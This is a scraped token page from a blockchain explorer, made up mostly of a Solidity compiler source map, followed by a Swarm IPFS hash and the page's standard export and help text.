:50;1476:4;1468:6;1464:17;1452:29;;1536:3;1529:4;1519:6;1516:1;1512:14;1504:6;1500:27;1496:38;1493:47;1490:67;;;1553:1;1550;1543:12;1490:67;1196:367;;;;;:::o;1568:573::-;1672:6;1680;1688;1696;1749:2;1737:9;1728:7;1724:23;1720:32;1717:52;;;1765:1;1762;1755:12;1717:52;1805:9;1792:23;1838:18;1830:6;1827:30;1824:50;;;1870:1;1867;1860:12;1824:50;1909:70;1971:7;1962:6;1951:9;1947:22;1909:70;:::i;:::-;1998:8;;1883:96;;-1:-1:-1;2080:2:1;2065:18;;2052:32;;2131:2;2116:18;2103:32;;-1:-1:-1;1568:573:1;-1:-1:-1;;;;1568:573:1:o;2328:186::-;2387:6;2440:2;2428:9;2419:7;2415:23;2411:32;2408:52;;;2456:1;2453;2446:12;2408:52;2479:29;2498:9;2479:29;:::i;:::-;2469:39;2328:186;-1:-1:-1;;;2328:186:1:o;2519:328::-;2596:6;2604;2612;2665:2;2653:9;2644:7;2640:23;2636:32;2633:52;;;2681:1;2678;2671:12;2633:52;2704:29;2723:9;2704:29;:::i;:::-;2694:39;;2752:38;2786:2;2775:9;2771:18;2752:38;:::i;:::-;2742:48;;2837:2;2826:9;2822:18;2809:32;2799:42;;2519:328;;;;;:::o;3041:437::-;3127:6;3135;3188:2;3176:9;3167:7;3163:23;3159:32;3156:52;;;3204:1;3201;3194:12;3156:52;3244:9;3231:23;3277:18;3269:6;3266:30;3263:50;;;3309:1;3306;3299:12;3263:50;3348:70;3410:7;3401:6;3390:9;3386:22;3348:70;:::i;:::-;3437:8;;3322:96;;-1:-1:-1;3041:437:1;-1:-1:-1;;;;3041:437:1:o;3483:1088::-;3641:6;3649;3657;3665;3673;3681;3734:2;3722:9;3713:7;3709:23;3705:32;3702:52;;;3750:1;3747;3740:12;3702:52;3790:9;3777:23;3819:18;3860:2;3852:6;3849:14;3846:34;;;3876:1;3873;3866:12;3846:34;3915:70;3977:7;3968:6;3957:9;3953:22;3915:70;:::i;:::-;4004:8;;-1:-1:-1;3889:96:1;-1:-1:-1;4092:2:1;4077:18;;4064:32;;-1:-1:-1;4108:16:1;;;4105:36;;;4137:1;4134;4127:12;4105:36;4176:72;4240:7;4229:8;4218:9;4214:24;4176:72;:::i;:::-;4267:8;;-1:-1:-1;4150:98:1;-1:-1:-1;4355:2:1;4340:18;;4327:32;;-1:-1:-1;4371:16:1;;;4368:36;;;4400:1;4397;4390:12;4368:36;;4439:72;4503:7;4492:8;4481:9;4477:24;4439:72;:::i;:::-;3483:1088;;;;-1:-1:-1;3483:1088:1;;-1:-1:-1;3483:1088:1;;4530:8;;3483:1088;-1:-1:-1;;;3483:1088:1:o;4784:260::-;4852:6;4860;4913:2;4901:9;4892:7;4888:23;4884:32;4881:52;;;4929:1;4926;4919:12;4881:52;4952:29;4971:9;4952:29;:::i;:::-;4942:39;;5000:38;5034:2;5023:9;5019:18;5000:38;:::i;:::-;4990:48;;4784:260;;;;;:::o;5049:380::-;5128:1;5124:12;;;;5171;;;5192:61;;5246:4;5238:6;5234:17;5224:27;;5192:61;5299:2;5291:6;5288:14;5268:18;5265:38;5262:161;;5345:10;5340:3;5336:20;5333:1;5326:31;5380:4;5377:1;5370:15;5408:4;5405:1;5398:15;5262:161;;5049:380;;;:::o;5434:127::-;5495:10;5490:3;5486:20;5483:1;5476:31;5526:4;5523:1;5516:15;5550:4;5547:1;5540:15;5978:127;6039:10;6034:3;6030:20;6027:1;6020:31;6070:4;6067:1;6060:15;6094:4;6091:1;6084:15;6110:135;6149:3;6170:17;;;6167:43;;6190:18;;:::i;:::-;-1:-1:-1;6237:1:1;6226:13;;6110:135::o;6250:125::-;6315:9;;;6336:10;;;6333:36;;;6349:18;;:::i

Swarm Source

ipfs://08a4ee1db4989ed6f9835de204634e39906c9e1841e31ba97fd3cc7bea8a767f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.